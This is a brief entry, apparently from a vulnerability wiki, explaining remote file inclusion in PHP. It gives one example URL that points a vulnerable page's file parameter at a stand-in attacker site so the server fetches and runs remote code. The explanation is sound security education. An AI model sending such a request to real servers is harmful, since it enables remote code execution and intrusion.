Cobalt Vulnerability Wiki

Call a remote file as below: http://vulnerablehost/vulnpage.php?file=http://attackersite/malicouspage In this case the remote file is going to be included and any code contained in it is going to be run by the server.